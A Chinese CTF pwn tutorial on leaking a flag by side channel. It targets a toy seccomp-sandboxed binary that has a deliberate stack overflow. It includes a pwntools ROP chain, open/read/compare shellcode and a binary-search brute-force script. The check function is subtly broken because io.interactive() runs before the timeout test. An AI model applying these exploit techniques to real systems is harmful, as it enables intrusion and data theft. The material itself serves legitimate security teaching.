sandbox之侧信道攻击
原理
侧信道攻击(Side-channel Attack,简称 SCA)是一类通过观察计算机系统的物理特性来推断内部信息的攻击手段。这些物理特性可能包括耗电量、时间延迟、热量、功率、噪声等,这些都可以在设备执行特定计算时产生可观察的信号。PWN 侧信道攻击是指在程序没有正常回显的情况下通过执行精心构造后的数据,获取一些程序的现象或反馈来确定最终正确的flag,这种反馈比如有程序回显的错误,或者死循环等等。
我们简单理解为,程序没有回显,在这种情况下,泄露flag文件,就是在ctf的pwn大部分情况下需要做的事情
那在大部分情况下,是程序的sandbox采取白名单,只给了想read和open之类的函数,而并没有给出write等输出函数
那么在这个时候,我们就可以采取侧信道,侧信道的主要利用方式还是shellcode,简单梳理一下思路,虽然我们不能输入屏幕上,但是我们如果可以执行shellcode,那就可以执行open,如果我们把flag打开,然后利用read函数,读入到已知的一块内存,虽然我们没有办法把它输出出来,但是我们可以选择一位位对比
这里介绍一下cmp指令,这也是汇编中的语句,作用就是进行对比,用cmp指令将读入内存中的flag取一位来与我们给出的一个字符做对比,如果发现flag取的这一位与我们给出的字符一样就跳回到cmp指令处,因为字符都没变化,cmp比较后还是同样的结果,再次跳转回cmp指令处,这样无限循环程序不会有任何的回显。如果cmp比较后发现flag取一位得到的字符与我们所给的字符不同,就不进行跳转继续往下执行,我们不在后面布置任何的指令,这样程序继续往后执行,最终必然会崩溃。而我们根据程序在一定时间内是否反馈了崩溃信息来判断我们的flag是否判断正确(用je或者jz指令来实现这个跳转)
攻击演示
#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>
void sandbox() {
// 定义过滤器规则
struct sock_filter filter[] = {
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x09,0xc000003e},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x06,0xffffffff},
{0x15,0x04,0x00,0x00000000},
{0x15,0x03,0x00,0x00000002},
{0x15,0x02,0x00,0x0000000c},
{0x15,0x01,0x00,0x0000000a},
{0x15,0x00,0x01,0x00000005},
{0x06,0x00,0x00,0x7fff0000},
{0x06,0x00,0x00,0x00000000},
};
struct sock_fprog prog = {
.len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
// 确保进程无法获取新的权限
prctl(PR_SET_NO_NEW_PRIVS, SECCOMP_MODE_STRICT, 0LL, 0LL, 0LL);
// 设置seccomp过滤器
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
void vuln() {
char buf[0x100];
read(0, buf, 0x200);
}
int main() {
sandbox();
vuln();
return 0;
}
// gcc pwn.c -o pwn -no-pie -fno-stack-protector -g -static
我们首先还是用这一段程序来演示
题目自定义了一个沙箱,还是来解释一下sandbox函数
struct sock_filter filter[] = {
{0x20, 0x00, 0x00, 0x00000004}, // 从系统调用号的位置加载内容到 A 寄存器
{0x15, 0x00, 0x09, 0xc000003e}, // 如果不是 x86_64 架构,则跳转到结尾(拒绝)
{0x20, 0x00, 0x00, 0x00000000}, // 从系统调用号位置加载内容到 A 寄存器
{0x35, 0x00, 0x01, 0x40000000}, // 如果系统调用号大于 0x40000000,则拒绝
{0x15, 0x00, 0x06, 0xffffffff}, // 如果系统调用号是 -1,则拒绝
{0x15, 0x04, 0x00, 0x00000000}, // 如果系统调用号是 0,则跳过四条指令
{0x15, 0x03, 0x00, 0x00000002}, // 如果系统调用号是 2,则跳过三条指令
{0x15, 0x02, 0x00, 0x0000000c}, // 如果系统调用号是 12,则跳过两条指令
{0x15, 0x01, 0x00, 0x0000000a}, // 如果系统调用号是 10,则跳过一条指令
{0x15, 0x00, 0x01, 0x00000005}, // 如果系统调用号是 5,则跳过一条指令
{0x06, 0x00, 0x00, 0x7fff0000}, // 允许系统调用
{0x06, 0x00, 0x00, 0x00000000}, // 拒绝系统调用
};
而sock_fprog
是一个结构体,用于定义 BPF 过滤器程序。
.len
表示过滤器的长度,这里计算了 filter
数组中的条目数。
.filter
指向实际的过滤器指令数组。
prctl()
用于对进程进行控制:
-
PR_SET_NO_NEW_PRIVS
:设置为 1 表示禁止当前进程和其子进程提升权限,这可以确保进程不会获取额外的权限,从而增加了安全性。 -
PR_SET_SECCOMP
:用于启用 Seccomp 过滤模式。具体来说,SECCOMP_MODE_FILTER
启用 BPF 过滤器模式,并将过滤器&prog
应用于当前进程。
总的来说,sandbox函数为当前进程设置一个 Seccomp 过滤器,以限制程序可以调用的系统调用,从而实现沙盒化。
当然我们编译好,使用seccomp-tools dump ./pwn也是可以直接看到的
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x0000000c if (A == brk) goto 0010
0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010
0009: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
回到题目来,因为我们的题目是静态编译的,所以我们不需要泄露libc,这边的栈溢出直接就可以利用上
所以第一段的payload还是很简单的
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
io = process("./pwn")
elf = ELF("./pwn")
rw_mem = 0x4C0000
payload = b"a" * 0x100
payload += b"b" * 8
payload += p64(next(elf.search(asm("pop rdi; ret;"), executable=True))) # pop rdi; ret
payload += p64(0) # 设置 rdi 为 0 (stdin)
payload += p64(next(elf.search(asm("pop rsi; ret;"), executable=True))) # pop rsi; ret
payload += p64(rw_mem) # 设置 rsi 为 rw_mem
payload += p64(elf.sym["read"]) # 调用 read 函数,读入到 rw_mem
payload += p64(next(elf.search(asm("pop rdi; ret;"), executable=True))) # pop rdi; ret
payload += p64(rw_mem) # 设置 rdi 为 rw_mem
payload += p64(next(elf.search(asm("pop rsi; ret;"), executable=True))) # pop rsi; ret
payload += p64(0x1000) # 设置 rsi 为 0x1000
payload += p64(next(elf.search(asm("pop rdx; ret"), executable=True))) # pop rdx; ret
payload += p64(7) # 设置 rdx 为 7(RWX 权限)
payload += p64(elf.sym["mprotect"]) # 调用 mprotect,将 rw_mem 设置为可执行
payload += p64(next(elf.search(asm("call rdi;"), executable=True))) # 调用 rw_mem 中的 shellcode
io.interactive()
然后控制好mprotect之后,由于我们控制了rdi,后续接着输入shellcode,就可以执行它,我们可以调试看看
这边就是调用read函数读入之类的操作
到这里进行执行shellcode
这里就需要介绍一下我们的shellcode怎么书写
shellcode = asm(
"""
push 0x67616c66 # 将字符串 'flag' 的 ASCII 值(逆序)压入栈中(0x67616c66 是 'flag' 的十六进制表示,注意低字节优先)
mov rdi, rsp # 将栈顶的地址(即 'flag' 的地址)加载到 rdi 中,作为 open() 的文件名参数
xor esi, esi # 将 esi 清零,等价于将 rsi 置为 0,表示文件权限为只读 (O_RDONLY)
push 2 # 将常数 2 压入栈,用于设置 rax 的值为 2(open 系统调用号)
pop rax # 从栈中弹出值 2 到 rax 中,设置 rax = 2(即 open() 系统调用号)
syscall # 执行 syscall,调用 open(),打开 'flag' 文件
# 如果文件成功打开,文件描述符存储在 rax 中
mov rdi, rax # 将文件描述符(即 open() 返回的 rax 值)存入 rdi,作为 read() 的文件描述符参数
mov rsi, rsp # 将栈顶地址存入 rsi,作为 read() 的缓冲区参数
mov edx, 0x100 # 设置 edx = 0x100(即 256),表示最多读取 256 字节
xor eax, eax # 清零 rax,设置 rax = 0,表示调用 read() 系统调用
syscall # 执行 syscall,调用 read(),读取文件内容到栈上的缓冲区
mov dl, [rsp + {}] # 将栈中偏移 {} 处的一个字节加载到 dl 中,注意 {} 是动态参数(偏移值)
cmp dl, {} # 比较 dl 中的值和 {}(即传入的常量值),注意 {} 是动态参数(要比较的值)
jbe $ # 如果 dl 的值小于等于传入的常量值 {},就陷入死循环($ 表示当前指令地址,导致无限循环)
""".format(i, c)
)
那么这是这次使用的shellcode,这么写的原因都在注释里面了,我们理解一下主要思想就行,本质上还是一个字节一个字节的对比,先打开,然后读取,然后对比
然后就我们可以采取从\x00到\xff一个字节一个字节的对比,也可以采取二分法,加快速度
当然还是要补充一下利用的条件
1、侧信道爆破需要执行我们编写的shellcode(因为程序中必然无法找到全部对应的gadget),因此能够写入和执行一定字节的shellcode是必要的
2、程序在禁用了execve系统调用后,同时关闭了标准输出流后,才有必要使用侧信道爆破。
3、同时标准错误不能被关闭(因为我们需要它来反馈信息),还必须要保证read可以从指定文件中读取flag,open或者openat系统调用要保证至少有一个可用。
攻击效果:在程序禁用了部分系统调用并且关闭了正常回显后,通过程序反馈的信息对进行flag逐位爆破。
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
io = process("./pwn")
elf = ELF("./pwn")
rw_mem = 0x4C0000
payload = b"a" * 0x100
payload += b"b" * 8
payload += p64(next(elf.search(asm("pop rdi; ret;"), executable=True))) # pop rdi; ret
payload += p64(0) # 设置 rdi 为 0 (stdin)
payload += p64(next(elf.search(asm("pop rsi; ret;"), executable=True))) # pop rsi; ret
payload += p64(rw_mem) # 设置 rsi 为 rw_mem
payload += p64(elf.sym["read"]) # 调用 read 函数,读入到 rw_mem
payload += p64(next(elf.search(asm("pop rdi; ret;"), executable=True))) # pop rdi; ret
payload += p64(rw_mem) # 设置 rdi 为 rw_mem
payload += p64(next(elf.search(asm("pop rsi; ret;"), executable=True))) # pop rsi; ret
payload += p64(0x1000) # 设置 rsi 为 0x1000
payload += p64(next(elf.search(asm("pop rdx; ret"), executable=True))) # pop rdx; ret
payload += p64(7) # 设置 rdx 为 7(RWX 权限)
payload += p64(elf.sym["mprotect"]) # 调用 mprotect,将 rw_mem 设置为可执行
payload += p64(next(elf.search(asm("call rdi;"), executable=True))) # 调用 rw_mem 中的 shellcode
def check(i, c):
io = process("./pwn")
#gdb.attach(io,'b *0x401E0D')
io.sendline(payload)
time.sleep(1) # 使用标准库的 sleep 函数
# 构造 shellcode
shellcode = asm(
"""
push 0x67616c66
mov rdi, rsp
xor esi, esi
push 2
pop rax
syscall
mov rdi, rax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov dl, [rsp + {}]
cmp dl, {}
jbe $
""".format(i, c)
)
# 发送 shellcode
io.send(shellcode)
io.interactive()
try:
io.recv(timeout=1)
io.kill()
return True
except KeyboardInterrupt:
exit(0)
except Exception: # 使用 Exception 进行捕获
io.close()
return False
i = 0
flag = ""
while True:
l = 0x20
r = 0x7F
while l < r:
m = (l + r) // 2
if check(i, m):
r = m
else:
l = m + 1
flag += chr(l)
log.info(flag)
i += 1
最后附上完整代码